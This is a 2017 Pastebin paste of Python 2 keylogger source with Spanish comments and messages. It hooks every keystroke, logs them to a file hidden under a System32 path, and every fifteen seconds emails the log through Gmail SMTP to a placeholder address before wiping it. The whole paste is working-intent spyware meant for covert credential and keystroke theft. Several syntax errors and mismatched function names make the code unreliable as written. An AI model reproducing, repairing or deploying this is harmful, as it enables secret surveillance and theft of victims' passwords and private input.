Advertisement
Guest User

codigo

a guest
Apr 28th, 2017
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. import pyHook, pythoncom, sys, logging
  2. import time, datetime
  3.  
  4. wait_seconds = 15
  5. timeout = time.time() + wait_seconds
  6. file_log = "C:\Windows\System32\Microsoft\dat.txt"
  7.  
  8. def TimeOut():
  9. if time.time() > timeout:
  10. return True
  11. else:
  12. return False
  13. def SendEmail(user, pwd, recipient, subject, body)
  14. import smtplib
  15.  
  16. gmail_user = user
  17. gmail_pass = pwd
  18. FROM = user
  19. TO = recipient if type (recipient) is list else [recipient]
  20. SUBJET = subjet
  21. TEXT = body
  22. message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  23. """ % (FROM, ", ".Join(TO), SUBJECT, TEXT)
  24. try:
  25. server = smtplib.SMTP("smtp.gmail.com", 587)
  26. server.ehlo()
  27. server.starttls()
  28. server.login(gmail_user, gmail_pass)
  29. server.sendmail(FROM, TO, message)
  30. server.close()
  31. print "Correo Enviado!"
  32. except:
  33. print "Error!"
  34.  
  35. def FromatAndSendLogEmail():
  36. with open(file_log, "r+") as f:
  37. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  38. data = f.read().replace("\n", "");
  39. data = "Log capturado a las: "+actualdate + "\n" + data
  40. SendEmail("tucorreo@gmail.com", "tuclave", "tucoreo@gmail.com", "Nuevo log- "+actualdate, data)
  41. f.seek(0)
  42. f.truncate()
  43.  
  44.  
  45. def OnKeyboardEvent(event):
  46. logging.basicConfig(filename=file_log, level=logging.DEBUG,
  47. format = "%(message)s")
  48. logging.log(10, chr(event.Ascii))
  49. return True
  50.  
  51. hooks_manager = pyHook.HookManager()
  52. hooks_manager.KeyDown = OneKeyBoardEvent
  53. hooks_manager.HookKeyBoard()
  54.  
  55. while True:
  56. if TimeOut():
  57. FormatAndSendEmail()
  58. timeout = time.time() + wait_seconds
  59. pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement